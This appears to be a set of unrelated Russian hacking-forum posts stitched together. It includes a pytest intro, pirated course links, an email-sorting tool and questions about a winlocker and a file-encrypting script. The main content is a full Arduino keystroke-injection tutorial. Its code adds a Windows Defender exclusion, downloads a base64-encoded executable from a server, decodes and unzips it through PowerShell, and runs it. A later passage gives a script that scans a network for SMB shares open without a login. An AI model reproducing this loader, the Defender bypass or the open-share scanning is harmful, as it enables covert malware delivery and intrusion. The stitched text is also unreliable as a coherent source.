pip install pytest
Преимущества PyTest:
▸ Краткий и красивый код
▸ Только один стандартный assert
▸ Подробный отчет
▸ Разнообразие фикстур на всех уровнях
▸ Плагин и интеграции с другими системами
Сравните этот код с кодом из предыдущих постов про unittest:
Python:Copy to clipboard
import pytest
def setup_module(module):
#init_something()
pass
def teardown_module(module):
#teardown_something()
pass
def test_upper():
assert 'foo'.upper() == 'FOO'
def test_isupper():
assert 'FOO'.isupper()
def test_failed_upper():
assert 'foo'.upper() == 'FOo'
Для тестов можно применять и классы (как в unittest), так и отдельные функции.
Запускать тесты тоже просто. В окружении, где установлен pytest, появится команда py.test. Из терминала пишем:
Code:Copy to clipboard
py.test my_test_cases.py
py.test обнаружит и выполнит тесты из этого файла.
Есть очень хорошая статья на Хабре про PyTest на русском, не вижу смысла дублировать ее сюда, а просто оставлю ссылку.
Автор: @tirinox
Профессия Python-разработчик. Часть 1 из 8 (2020)
Автор: Яндекс.Практикум
Название: Профессия Python-разработчик. Часть 1 из 8 (2020)
Описание:
Python-разработчик создаёт бэкенд сайтов: мозг, который принимает запросы,
общается с базой данных и передаёт нужную информацию пользователю. Разработчик
проектирует алгоритмы взаимодействия сайта с другими интернет-сервисами. Вы
изучите язык Python: он востребован и прост. Вы также освоите важнейшие
инструменты бэкендера: Django, базы данных, git. В процессе обучения создадите
несколько действующих сервисов.
Что вы получите в Практикуме:
За 9 месяцев обучения по 10 часов в неделю вы освоите навыки разработки на
Python, соберёте портфолио.
Вот над какими проектами вам предстоит трудиться:
- Социальная сеть
Вы научитесь взаимодействовать с базами данных, формировать ленту публикаций.
Реализуете возможность регистрироваться и входить на сайт под своим аккаунтом
и публиковать записи. Вы погрузитесь в бэкенд сервиса, оставив отрисовку
интерфейса в стороне: ей пусть занимается фронтенд-разработчик.
- Бот-ассистент
Напишете веб-приложение, которое будет самостоятельно собирать данные в
интернете, а затем — уведомлять о них пользователя.
- Онлайн-турнир по го, шашкам или реверси
Познакомитесь с алгоритмами и структурами данных: это позволит создавать
быстрые и отзывчивые сервисы. Тут процесс разработки максимально приблизится к
реальному: над этим проектом вы будете работать в команде программистов.
Программа обучения:
- Основы Python: Бесплатный вводный курс (20 часов)
Базовое устройство бэкенда. Вы узнаете, как фронтенд общается с бэкендом и как
разные бэкенды общаются между собой. Научитесь писать программы на языке
Python, получать информацию от сервисов в интернете и использовать в своём
коде.
- Возможности бэкенда: блог (80 часов)
Вас ждут основы баз данных, ликбез по информационной безопасности, продолжение
работы с Python и знакомство с веб-фреймворком Django. На этом этапе вы шаг за
шагом создадите свой блог — с авторизацией пользователей, объявлениями и
подписками.
- Работа с внешними API (30 часов)
Вы узнаете, как сервисы в интернете получают друг от друга информацию: как
организуется авторизация на незнакомом ресурсе через социальные сети, каким
образом сайты кинотеатров и кафе указывают свои локации на фрагменте Яндекс и
Гугл карт. Узнаете что такое API и напишете бота, который сам взаимодействует
с известными сайтами.
- Заботимся о производительности сервиса (60 часов)
Бывало такое, что нужный вам сайт в интернете работал медленно? Мы будем
говорить, как ускорить работу вашего сервиса. Вы изучите основы алгоритмов:
они необходимы, чтобы оценить скорость выполнения программ.
- Инфраструктура бэкенд-разработки (80 часов)
При создании серьёзных сервисов необходима экосистема для совместной работы
нескольких программистов. Вы научитесь настраивать своё рабочее окружение так,
чтобы взаимодействие с другими программистами было простым и эффективным.
Научитесь работать с системой контроля версий Git, разрешать конфликты в коде.
При поддержке наставников желающие смогут создать очередной проект в команде.
- Дипломный проект (50 часов)
В заключительный месяц обучения вы сделаете итоговый выпускной проект,
подтверждающий знания и умения. Во время работы над ним вам не нужно выполнять
домашние задания и узнавать новую теорию из тренажёра — здесь всё происходит
так же, как в реальной жизни: задание, сроки, приобретенные навыки и
поисковик.
**Скачать:
Hidden content for authorized users.
Облако Mail.ru - это ваше персональное надежное хранилище в интернете.
cloud.mail.ru
**
Приветствую, стал активно вливаться в форум, недавно нашёл 2 том книги Марка
Л. Изучаем Python Том 2
Поиск по форуму не дал результатов поэтому решил залить сразу первый и второй
том, в гугле так же сложновато найти второй том, поэтому пусть лежит тут под
хайдом
Hidden content for authorized users.
Посмотреть и скачать с Яндекс.Диска
disk.yandex.kz
Пишу на aiogram 3, нужны функции рассылка и бан/разбан пользователей
Есть ли способ для преобразования tdata в сеанс telethon?
Hello guys!
I am sharing with you all, my email address sorter. It is called Smart Email Sorter, it helps to speedily sort out your email addresses by webmail login page, MX, NS, CNAME, TXT, and PTR DNS records
This is a project in progress so feel free to use, share and/or join the project development repository on GitHub at https://github.com/BlovHackingServices/Smart-Email-Sorter/
It currently sorts the following email addresses
Gmail
Google Workspace
Googlemail
Hotmail
Live
MSN
Outlook
Office365
Yahoo
Ymail
AOL
Frontiernet
Sky.com
Verizon
Rocketmail
AIM
Wanadoo
Orange
Mac
Me.com
Icloud
Cox.net
Shaw.ca
ATT.net
Bellsouth
Sbcglobal
Ig.com.br
Terra.com.br
Sfr.fr
Club-internet.fr
Alice.it
Blueyonder.co.uk
Ntlworld.com
Hetnet.nl
Planet.nl
Chello.nl
Home.nl
Free.fr
Aliceadsl.fr
Optonline.net
Bluewin.ch
Zonnet.nl
Telnet.be
Yahoo.co.jp
Virgilio.it
Tiscali.it
Laposte.net
Charter.net
Rambler.ru
T-online.de
Freenet.de
Tin.it
Tiscali.co.uk
Arcor.de
Centurytel.net
Optusnet.com.au
Juno.com
Comcast
Rediffmail
Windstream
Sympatico.ca
Skynet.be
GMX
Web.de
Bigpond
Libero.it
Uol.com.br
Bol.com.br
Mail.ru
Anazana
Coremail
Earthlink.net
Aliyun/Alibaba
263
1and1
Hinet
Iinet
Mail.com
Mimecast
Namecheap
Networksolutions
Godaddy
163
Pphosted
QQ
Rackspace
Synaq
Yandex.ru
Zmail
Zoho
Only Domain - business email with MX containing only domain (Shared hosting
website emails)
Mail dot Domain - a business email with MX containing e.g mail.domain.com
(Shared hosting website emails)
Business email addresses with MX containing their domain
Download the release at <https://github.com/BlovHackingServices/Smart-Email- Sorter/releases/tag/v0.0.1>
В данной статье будет показано, как сделать загрузчик файлов с сервера, используя Arduino.
P.S. Эта идея пришла ко мне во время написания нейросети для игр в связке с Arduino, и мне показалось хорошей идеей при запуске Arduino на новом компьютере сразу получать архив с нейросетью. Однако в данной статье будет показано, как в принципе реализовать загрузку абсолютно любого файла.
Будет написан простейший сервер на Flask с одной страницей, на которой будет
находиться файл, который нужно будет подкачивать. Файл будет отображаться в
виде строки base64.
Также будет написана программа для конвертации exe в формат текста base64.
Затем, при подключении Arduino и с помощью эмуляции клавиатуры и мыши, оно
будет заходить на страницу с файлом в виде текста, копировать этот текст.
Затем создавать на компьютере файл формата txt, вставлять в этот файл
скопированный текст и сохранять. Далее будет вызываться PowerShell для
конвертации файла из base64 в бинарный формат и сохранения конвертированных
данных в новый файл, но уже формата exe или любого другого, который вам нужен.
Затем будет следовать запуск получившейся программы.
Также будет предусмотрено добавление файла в исключения Windows Defender.
P.S. Вся работа с Arduino будет сведена к эмуляции и только к ней, то есть всё, что будет делать Arduino, будет отображаться на экране, и скрыть это будет нельзя.
Первым делом будет написан простейший сервер на Flask. Файл Python будет называться server.py, в нём сразу же нужно написать простейшую логику с одной страницей.
Python:Copy to clipboard
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return
При переходе на страницу index ничего не будет отображаться, так как return ничего не возвращает. Можно сделать отдельный HTML файл и возвращать его, в таком случае весь контент из HTML файла будет успешно отображаться, но мне показалось это лишним действием, и можно поступить по-другому.
Нужно создать переменную, в которую в дальнейшем будет вставлено приложение в виде текста, и в return просто возвращать эту переменную.
Python:Copy to clipboard
text_block = "Приложение в виде текста"
@app.route('/')
def index():
return text_block
Далее нужно указать запуск Flask приложения при запуске этого Python файла.
Python:Copy to clipboard
if __name__ == '__main__':
app.run(debug=True)
(debug=True) означает, что запущенное в этом режиме приложение будет отображать подробные ошибки в случае их возникновения. Также при изменении кода во время работы приложения изменения будут применяться автоматически без необходимости его перезапуска.
Для продакшена нужно будет указать IP и порт сервера. Это можно сделать там же, где выставлен флаг для запуска в режиме отладки.
Python:Copy to clipboard
app.run(host="0.0.0.0", port="1488", debug=True)
"При указании IP в виде 0.0.0.0 на страницу можно будет перейти как по локальному адресу 127.0.0.1, так и по IP, доступному для каждого пользователя.
С сервером закончено, и теперь нужно написать программу для конвертации нужного файла в текст."
Программа будет просто брать файл по указанному пути, читать его в бинарном формате, а затем записывать прочитанные данные в простой TXT-файл в виде строки base64.
Python:Copy to clipboard
input_path = ""
output_path = ""
# Чтение файла в бинарном режиме
with open(input_path, 'rb') as file:
file_bytes = file.read()
# Конвертация байтов в Base64
file_base64 = base64.b64encode(file_bytes)
# Запись Base64 строки в текстовый файл
with open(output_path, 'wb') as output_file:
output_file.write(file_base64)
print(f"Файл успешно сохранён в {output_path}")
Вот что получается на выходе при запуске программы конвертации:
Далее нужно просто вставить эти данные в Flask-приложении в переменную
text_block, и после его запуска страница index будет выглядеть таким образом:
P.S. Конвертация файла в base64 и сервер были разделены на два проекта для наглядности. Можно сделать конвертацию прямо при запуске Flask-приложения и возвращать данные сразу же на странице, без сохранения base64 данных в TXT и без ручной вставки этих данных на страницу.
Python:Copy to clipboard
import base64
from flask import Flask
app = Flask(__name__)
input_path = "Путь до файла"
# Чтение файла в бинарном режиме
with open(input_path, 'rb') as file:
file_bytes = file.read()
# Конвертация байтов в Base64
file_base64 = base64.b64encode(file_bytes)
@app.route('/')
def index():
return file_base64
if __name__ == '__main__':
app.run(host="0.0.0.0", port="1488", debug=True)
Почему просто не записать байты нужного приложения прямо в Arduino?
Это не получится сделать, так как память Arduino крайне мала, и на него не
поместится даже 1 МБ данных. Это можно исправить, купив отдельный модуль с
разъемом для флешки, но в данный момент у меня его нет.
Как Arduino соберет эти данные обратно в файл?
Сам Arduino не заточен под выполнение подобных задач и конвертировать обратно
из base64 в байты он не сможет. Поэтому в дальнейшем Arduino будет запускать
команду PowerShell, которая будет производить конвертацию с помощью встроенных
функций в Windows.
P.S. На Arduino есть библиотека, позволяющая конвертировать base64, но для этого ей потребуется загрузить в себя данные, которые без модуля для подключения флешки не влезут.
Почему бы просто не отобразить бинарные данные прямо на сайте, а не в
base64?
Проблема в кодировке. В браузере не получится отобразить бинарные символы, и
они просто будут сломаны.
Также я попытался не отображать бинарные данные, а сделать так, чтобы при
открытии страницы они сразу отправлялись в буфер обмена. В итоге возникла
такая же сложность с кодировкой.
Итак, когда сервер готов, и подкачиваемый файл конвертирован в нужный формат, можно приступать к реализации логики на Arduino.
Вся логика будет построена только на эмуляции клавиатуры. Для этого в коде Arduino нужно импортировать библиотеку Keyboard.h. Вся логика будет срабатывать только при подключении Arduino, а не постоянно, поэтому весь код будет записан в void setup(). Первое, что будет реализовано, — это добавление папки appdata/roaming в исключения Windows Defender (именно в этой папке будет храниться файл).
C++:Copy to clipboard
void setup() {
delay(2000);
Keyboard.begin();
Keyboard.press(KEY_LEFT_GUI);
Keyboard.releaseAll();
delay(500);
Keyboard.print("powershell");
delay(500);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2000);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press('y');
Keyboard.releaseAll();
delay(1000);
Keyboard.print("Add-MpPreference -ExclusionPath $env:APPDATA");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(500);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F4);
Keyboard.releaseAll();
delay(1000);
}
Задержка в начале нужна для того, чтобы компьютер успел распознать Arduino как клавиатуру. Далее происходит нажатие на кнопку Windows, вводится PowerShell и запускается с администраторскими правами (эмуляция Ctrl + Shift + Enter). После этого в него вводится команда для добавления папки в исключения, и затем происходит закрытие.
P.S. Очень важно, чтобы при подключении Arduino к компьютеру язык ввода был английским, иначе вместо команд будет простое месиво из букв.
Далее следует открыть браузер, перейти на страницу с данными и скопировать с нее данные.
C++:Copy to clipboard
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.print("msedge ");
Keyboard.print("http://127.0.0.1:1488/");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(5000);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press('a');
Keyboard.releaseAll();
delay(500);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press('c');
Keyboard.releaseAll();
delay(1000);
Открытие браузера происходит через Win + R. К сожалению, сделать так, чтобы запускался любой браузер по умолчанию, нельзя, поэтому был выбран стандартный браузер в Windows. Пауза в 5 секунд нужна для того, чтобы страница успела прогрузиться. К сожалению, Arduino не может следить за выполнением каких-либо процессов на компьютере, поэтому после каждого действия приходится ставить примерную паузу.
Теперь текст копируется, и нужно сделать открытие Блокнота и сохранение в него данных.
C++:Copy to clipboard
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.print("notepad");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(1000);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press('v');
Keyboard.releaseAll();
delay(500);
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press('s');
Keyboard.releaseAll();
delay(500);
Keyboard.print("%APPDATA%\\Document.txt");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2000);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F4);
Keyboard.releaseAll();
delay(1000);
Для тех, кто не пользуется биндами, Ctrl + S сохраняет файл. %APPDATA% указан именно так, чтобы не указывать пользователя.
Далее нужно запустить PowerShell, чтобы конвертировать base64 в бинарный формат и сохранить эти данные в файл с нужным форматом.
C++:Copy to clipboard
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(500);
Keyboard.print("powershell");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2000);
Keyboard.print("$inputFile = \"$env:APPDATA\\Document.txt\"; ");
Keyboard.print("$outputFile = \"$env:APPDATA\\Program.zip\"; ");
Keyboard.print("(Get-Content $inputFile -Raw) | ForEach-Object { [System.Convert]::FromBase64String($_) } | Set-Content -Path $outputFile -Encoding Byte; ");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(2000);
Так как у меня файл ZIP и в нем уже находится EXE-файл, нужно дополнительно в PowerShell ввести команду для разархивации.
C++:Copy to clipboard
Keyboard.print("Expand-Archive -Path $outputFile -DestinationPath \"$env:APPDATA\\Unzipped\" -Force; ");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
Далее следует запустить, наконец-то, файл.
Python:Copy to clipboard
Keyboard.print("Start-Process \"$env:APPDATA\\Unzipped\\Soft.exe\";");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
Keyboard.end();
Последнюю строку нужно указывать, когда абсолютно все действия с эмуляцией
мыши закончены.
P.S. Если ваш файл требует администраторских прав, то это можно обойти, также
используя эмуляцию.
Как бонус, хотелось бы показать еще один вариант применения эмуляции на Arduino. А именно — автоматический ввод пароля. Например, используя VeraCrypt или какой-то очень важный для вас сайт, можно указать пароль длиной 50-100 символов, и с помощью Arduino такой пароль ввести гораздо проще.
C++:Copy to clipboard
void setup() {
delay(2000);
Keyboard.begin();
Keyboard.print("dsfgjdjfojdslkfjodsjfj12j43213j4iojf843ur21dsim3#21esafm90823r!!~@$234fndijs324");
Keyboard.end();
}
Разумеется, это самый банальный код; важна идея, которую можно развивать.
Например, если у вас имеется модуль матричной клавиатуры, можно сделать список
паролей и запускать эмуляцию конкретного пароля при нажатии конкретной клавиши
или нескольких клавиш. Таким образом, получится физическое хранилище паролей.
Также, используя подобную клавиатуру, можно добавить запуск действий только
при вводе пароля от Arduino или вообще докупить модуль для отпечатка пальца
для этого.
Кроме того, с такой клавиатурой и модулем для SD-карт можно сделать подгрузку
конкретных программ на компьютер без использования сервера.
Статья получилась супер простой, но показанные в ней идеи мне показались достаточно интересными; каждую из них можно развивать, купив различные модули. Возможно, я приобрету их в дальнейшем и покажу готовые и улучшенные варианты того, что было реализовано в статье. Если у вас появились свои идеи о том, как можно использовать Arduino, с удовольствием об этом прочитаю и попробую реализовать.
Ссылка на статью в виде
документа:https://docs.google.com/document/d/1DUs68kaIVmQmu7t1QAfHwMj8K_sbYRCwkG2VKCxpsr0/edit?usp=sharing
**
Сделано OverlordGameDev специально для форума XSS.IS**
Хотел отсканировать nuclei'ем ip и большой список ему трудно запустить. Начал переписывать на python с использованием ленивого чтения, чтобы сразу запускалось всё, но проблема в том, что асинк корутины работают в одном потоке, хоть создам 100000 тасков от них смысла мало. Вопрос какой яп дает нормальные потоки, чтобы они распределяли нагрузку на всё cpu?
если что-то неправильно описал, то исправьте меня. Мб чего-то не понимаю)
You must have at least 3 message(s) to view the content.
Enter the password to use for encryption: test
Traceback (most recent call last):
File "/home/honeybunz/py2exetest/lib/python3.11/site-
packages/cx_Freeze/initscripts/startup.py", line 139, in run
module_init.run(name + "main")
File "/home/honeybunz/py2exetest/lib/python3.11/site-
packages/cx_Freeze/initscripts/console.py", line 18, in run
exec(code, module_main.dict) # pylint: disable=exec-used
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "py2exetest.py", line 83, in
File "py2exetest.py", line 46, in encrypt_all_files
File "py2exetest.py", line 33, in encrypt_file
File "/home/honeybunz/py2exetest/lib/python3.11/site-
packages/cryptography/hazmat/primitives/ciphers/base.py", line 185, in
finalize
data = self._ctx.finalize()
^^^^^^^^^^^^^^^^^^^^
File "/home/honeybunz/py2exetest/lib/python3.11/site-
packages/cryptography/hazmat/backends/openssl/ciphers.py", line 222, in
finalize
raise ValueError(
ValueError: The length of the provided data is not a multiple of the block
length.
Я пиши свой винлокер и мне надо что бы некоторые клавиши не работали, то есть забочить их, как это сделать?
В локальной сети, обычно, достаточно много машин с операционной системой Windows. И почти у каждой из них включено сетевое обнаружение, что делает ее ресурсы выставленными напоказ всей сети. Есть небольшой трюк, когда вы не хотите, чтобы ваш сетевой ресурс был виден в проводнике, в конце, после его имени нужно поставить знак $. Именно так светит диски в сеть ОС Windows. То есть, к примеру, есть общий ресурс ADMIN$. Если вы зайдете с помощью проводника, то вы ничего не увидите. Но, стоит попробовать обратиться к ресурсу напрямую и у вас попросят пароль. Давайте напишем небольшой скрипт, который использует в своей работе smbclient для сканирования компьютеров в сети на наличие общедоступных ресурсов.
**Что потребуется? **
Так как мы будем использовать smbclient, по умолчанию он установлен далеко не во всех ОС Linux, а потому, нам либо нужно установить его вручную выполнив команду:
sudo apt install smbclient
либо не устанавливать изначально, так как мы напишем небольшую функцию, которая будет проверять его наличие и устанавливать в систему для работы.
Понадобиться библиотека requests. С ее помощью мы будем выполнять запросы к сайтам для получения внешнего ip-адреса, а также библиотека ping3, для того, чтобы мы могли пинговать компьютеры. Конечно, в процессе работы данного скрипта установка библиотеки requests не обязательна, так как напрямую не взаимодействует в скрипте ни с одной функцией. Но, так как я написал небольшой модуль в который собрал те функции, которые чаще всего требуются при работе с сетью, такие как получение локального ip, внешнего ip или получение координат по внешнему ip-адресу, установить ее нужно. Пишем в терминале:
pip install requests ping3
Импортировать на данном этапе мы ничего не будем, так как у нас будет три модуля, импорт в них будет немного различаться. Почему три? Это вы поймете в процессе создания скрипта.
Модуль для работы с IP
Создадим модуль для работы с часто требующимися функциями по работе с IP-
адресом. Я назвал модуль definition.py.
Выполним в него импорт необходимых для работы библиотек.
Python:Copy to clipboard
from platform import system
from subprocess import check_output
from socket import gethostbyname, socket, AF_INET, SOCK_DGRAM
from requests import exceptions, get
Теперь создадим класс IPDefinition и инициализируем необходимые параметры. В самом классе, как таковых функций нет. Он просто служит для удобства вызова функций. Все функции, к которым обращаются переменные при инициализации, находятся вне класса. Поэтому, он будет совсем небольшой. Вот полный его код:
Python:Copy to clipboard
class IPDefinition:
def __init__(self):
"""
Класс для получения IP-адресов.
self.local_ip: локальный IP-адрес. Получает значение из функции.
self.public_ip: внешний IP-адрес. Получает значение из функции.
self.router_ip: IP-адрес роутера или маршрутизатора. Получает значение из функции.
"""
self.local_ip = local()
self.public_ip = public()
self.router_ip = router()
Теперь напишем функции, к которым обращаются переменные при инициализации класса.
Первой функцией будет получение локального IP-адреса. На самом деле, эту функцию я нашел на Stack Overflow. Точного объяснения, к какому именно адресу коннектится сокет я не нашел, но при коннекте, функция получает имя сокета. И именно оно является локальным адресом. Эта функция кросплатформенна, а потому я решил использовать ее, вместо использования ip или ipconfig. Так как, желательно, чтобы модуль работал в любой операционной системе.
Создадим функцию local(). Объявим переменную st и установим протокол, по которому будет коннектится сокет и тип соединения — дейтаграм. Устанавливаем соединение, после чего, получаем имя сокета и возвращаем его из функции. В случае возникновения исключения значению ip присваиваем локальный IP, закрываем сокет и возвращаем адрес.
Python:Copy to clipboard
def local():
"""
Получаем локальный IP-адрес с помощью коннекта
на адрес 10.255.255.255. В ответ получаем имя
сокета, которое и является адресом.
:return: возвращает локальный IP-адрес.
"""
st = socket(AF_INET, SOCK_DGRAM)
try:
st.connect(('10.255.255.255', 1))
ip = st.getsockname()[0]
except Exception:
ip = '127.0.0.1'
finally:
st.close()
return ip
Следующая функция, которую нужно создать, это функция для получения внешнего, публичного IP-адреса. Создадим функцию public(). С помощью функции get библиотеки requests отправим запрос на адрес api.ipify.org. API этого сайта возвращает в ответ внешний IP, его мы и вернем из функции. В случае ошибки соединения вернем локальный IP в виде 127.0.0.1.
Python:Copy to clipboard
def public():
"""
Получение внешнего, публичного IP-адреса.
:return: возвращает значение публичного IP-адреса.
"""
try:
return get('https://api.ipify.org/').text
except exceptions.ConnectionError:
return '127.0.0.1'
Еще нам понадобиться функция, которая получает IP-адрес роутера или маршрутизатора. Так как она понадобиться в процессе получения общедоступных ресурсов. Создадим функцию router(). Здесь, с помощью функции check_output библиотеки subprocess выполняем команду и получаем ответ, который парсим для получения результата. Для того, чтобы функция была кросплатформенной, для начала определяется операционная система, а затем, в зависимости от этого выполняется команда. Выполняется проверка являются ли полученные данные цифровыми. Если нет, делаем попытку получить IP-адрес с помощью функции сокет, gethostbyname.
Python:Copy to clipboard
def router():
"""
Получение IP-адреса роутера или маршрутизатора.
:return: возвращает IP-адрес роутера или маршрутизатора.
"""
ip_route = None
if system() == "Linux":
ip_route = str(check_output('route -n | grep UG', shell=True).decode()).split()[1]
elif system() == "Windows":
com = 'route PRINT 0* -4 | findstr 0.0.0.0'.split()
interface_temp = check_output(com, shell=True).decode('cp866')
ip_route = interface_temp.split()[-3]
if ip_route.isdigit():
return ip_route
else:
sock = gethostbyname(ip_route)
return sock
И еще одна функция, которая в данном контексте не обязательна, но присутствует в модуле, хотя, ее нужно импортировать напрямую, помимо класса. Так происходит потому, что класс не принимает никаких значений. А данная функция требует, чтобы в нее передали IP-адрес. Служит она для получения координат (широты и долготы) по IP-адресу.
Создадим функцию geo_ip(ip). На вход она получает IP-адрес, для которого нужно
получить координаты. Конечно, адрес должен быть внешним, так как по локальному
адресу определить координаты вряд ли получиться.
Формируем ссылку на сервис, который возвращает данные по IP в виде JSON.
url = f'[URL]http://ip-api.com/json/[/URL]{ip}'
Выполняем запрос и возвращаем полученные значения.
Python:Copy to clipboard
req = get(url=url).json()
return [req['lat'], req['lon']]
На самом деле, в JSON прилетают не только координаты, но также и дополнительная информация, вроде адреса. Но в данном контексте она не особо нужна, так как, определение координат по IP в принципе не особо точное занятие.
Python:Copy to clipboard
def geo_ip(ip):
"""
Функция для получения координат по внешнему IP-адресу.
Выполняет обращение к сервису, в который передает адрес.
В ответ получает JSON с координатами и не только (остальные данные не возвращаются из функции).
:param ip: внешний IP-адрес или любой адрес координаты которого нужно узнать.
:return: возвращает широту и долготу по IP.
"""
try:
url = f'http://ip-api.com/json/{ip}'
req = get(url=url).json()
return [req['lat'], req['lon']]
except Exception:
return 'Не удалось получить координаты'
Вот, для примера, как можно получить координаты в контексте данного модуля для своего IP:
geo_ip(IPDefinition().public_ip)
На этом, пока все. Функции в модуле закончились. А значит, нужно приступать к написанию модуля, с помощью которого будут сканироваться общедоступные ресурсы локальной сети.
Spoiler: Полный код модуля для работы с IP
Python:Copy to clipboard
"""
Модуль объединяет в себе несколько функций для получения различного
рода IP-адресов.
В данном случае это:
- локальный IP;
- IP-роутера(маршрутизатора);
- внешний IP-адрес.
Для работы данной функции нужно установить библиотеку requests:
pip install requests
"""
from platform import system
from subprocess import check_output
from socket import gethostbyname, socket, AF_INET, SOCK_DGRAM
from requests import exceptions, get
class IPDefinition:
def __init__(self):
"""
Класс для получения IP-адресов.
self.local_ip: локальный IP-адрес. Получает значение из функции.
self.public_ip: внешний IP-адрес. Получает значение из функции.
self.router_ip: IP-адрес роутера или маршрутизатора. Получает значение из функции.
"""
self.local_ip = local()
self.public_ip = public()
self.router_ip = router()
def local():
"""
Получаем локальный IP-адрес с помощью коннекта
на адрес 10.255.255.255. В ответ получаем имя
сокета, которое и является адресом.
:return: возвращает локальный IP-адрес.
"""
st = socket(AF_INET, SOCK_DGRAM)
try:
st.connect(('10.255.255.255', 1))
ip = st.getsockname()[0]
except Exception:
ip = '127.0.0.1'
finally:
st.close()
return ip
def public():
"""
Получение внешнего, публичного IP-адреса.
:return: возвращает значение публичного IP-адреса.
"""
try:
return get('https://api.ipify.org/').text
except exceptions.ConnectionError:
return '127.0.0.1'
def router():
"""
Получение IP-адреса роутера или маршрутизатора.
:return: возвращает IP-адрес роутера или маршрутизатора.
"""
ip_route = None
if system() == "Linux":
ip_route = str(check_output('route -n | grep UG', shell=True).decode()).split()[1]
elif system() == "Windows":
com = 'route PRINT 0* -4 | findstr 0.0.0.0'.split()
interface_temp = check_output(com, shell=True).decode('cp866')
ip_route = interface_temp.split()[-3]
if ip_route.isdigit():
return ip_route
else:
sock = gethostbyname(ip_route)
return sock
def geo_ip(ip):
"""
Функция для получения координат по внешнему IP-адресу.
Выполняет обращение к сервису, в который передает адрес.
В ответ получает JSON с координатами и не только (остальные данные не возвращаются из функции).
:param ip: внешний IP-адрес или любой адрес координаты которого нужно узнать.
:return: возвращает широту и долготу по IP.
"""
try:
url = f'http://ip-api.com/json/{ip}'
req = get(url=url).json()
return [req['lat'], req['lon']]
except Exception:
return 'Не удалось получить координаты'
geo_ip(IPDefinition().public_ip)
Модуль для сканирования сети на наличие общедоступных ресурсов
Создадим модуль smb_scan.py. Импортируем в него необходимые библиотеки для работы:
Python:Copy to clipboard
from os import popen
from shutil import which
from subprocess import check_output, CalledProcessError
Создадим класс SMBscan и функцию инициализации переменных класса. Класс требует передачи в него IP-адреса сканируемой машины, а также логина и пароля, если таковые известны для доступа к сетевым ресурсам. Если логин и пароль не известны, присваиваем переменной значение «-N». Это опция указывающая на то, что будет попытка осуществления доступа к ресурсам без логина и пароля.
Python:Copy to clipboard
class SMBscan:
def __init__(self, ip, user_pass):
"""
Инициализация класса для сканирования компьютера на наличие
общедоступных директорий и дисков.
:param ip: IP-адрес для сканирования.
:param user_pass: связка логин пароль, которая запрашивается у пользователя и
передается в виде login%pass. Если пользователь не вводит логин-пароль, по умолчанию
устанавливается значение -N, что означает отсутствие пароля.
"""
self.ip = ip
if user_pass == "" or user_pass == " ":
self.user_pass = "-N"
else:
self.user_pass = user_pass
Получение данных об общедоступных дисках компьютера в сети
Создадим функцию класса smb_get(self). С помощью функции check_output, которая позволяет получить данные из выполняемой команды, выполним сканирование ресурсов компьютера. Данная команда состоит из пути к smbclient, опции L(list), которая позволяет просмотреть общедоступные сервисы, ip-адреса компьютера, связки логин-пароль. Логин и пароль передаются в виде опции -U login%pass, так как, если передать только логин, пароль будет запрошен явно в процессе выполнения. Если пароль и логин не переданы, сюда подставляется опция -N, которая указывает, что данные о пароле и логине отсутствуют. И выводим сообщения не относящиеся к делу в null.
После чего разбиваем ответ на строки и парсим полученные значения. Убираем пустые символы, а также строку, которая указывает, какая версия протокола выполняется. Затем снова собираем строки в кучку с помощью join и возвращаем собранные данные из функции.
Python:Copy to clipboard
def smb_get(self):
"""
Сканирование компьютера с использованием smbclient. Получаем вывод команды с параметрами,
где: -L - опция для просмотра доступных сервисов компьютера.
:return: возвращает список общедоступных ресурсов.
"""
try:
view = check_output(f'{which("smbclient")} -L {self.ip} '
f'{self.user_pass} 2>/dev/null', shell=True).decode().splitlines()
view_smb = "\n".join([x.strip() for x in view if not x.startswith("SMB")])
return view_smb
except CalledProcessError:
return 'Ошибка соединения'
Сканирование сетевых дисков
Создадим функцию класса smb_access(self). С ее помощью мы будем пробовать сканировать найденные диски на наличие общедоступных ресурсов и возможность к ним доступа без логина и пароля. Выполним для начала ту же команду, что и в предыдущей функции, но с помощью grep отфильтруем только те записи, в которых содержится значение Disk, а также с помощью sed -e удалим все символы, которые идут после его названия. Таким образом, на выходе данной команды мы получим необработанную строку, содержащую имена сетевых дисков, для примера: C$.
Python:Copy to clipboard
disks = check_output(f'{which("smbclient")} -L '
f'{self.ip} {self.user_pass} '
f'2>/dev/null| grep " Disk " | sed -e "s/ Disk .*//"', shell=True).decode()
Теперь разобьем эту полученные значения построчно, и сформируем список с очищенными от пробелов и символов именами.
disks = [d.strip() for d in disks.splitlines()]
Создадим словарь, в который будем добавлять полученные значения и ошибки в результате выполнения команды с помощью os.popen. В данной команде мы передаем путь к smbclient, путь к диску, логин-пароль, если таковые имеются, если нет, значение будет «-N» укажем опцию -c, которая позволяет указать через ; несколько команд: получение списка директории и выход.
Python:Copy to clipboard
disks_list = dict()
for disk in disks:
f = popen(f'{which("smbclient")} //{self.ip}/"{disk}" {self.user_pass} -c "dir;exit" 2>/dev/null').readlines()
d = [x.strip() for x in f]
disks_list.update({disk: d})
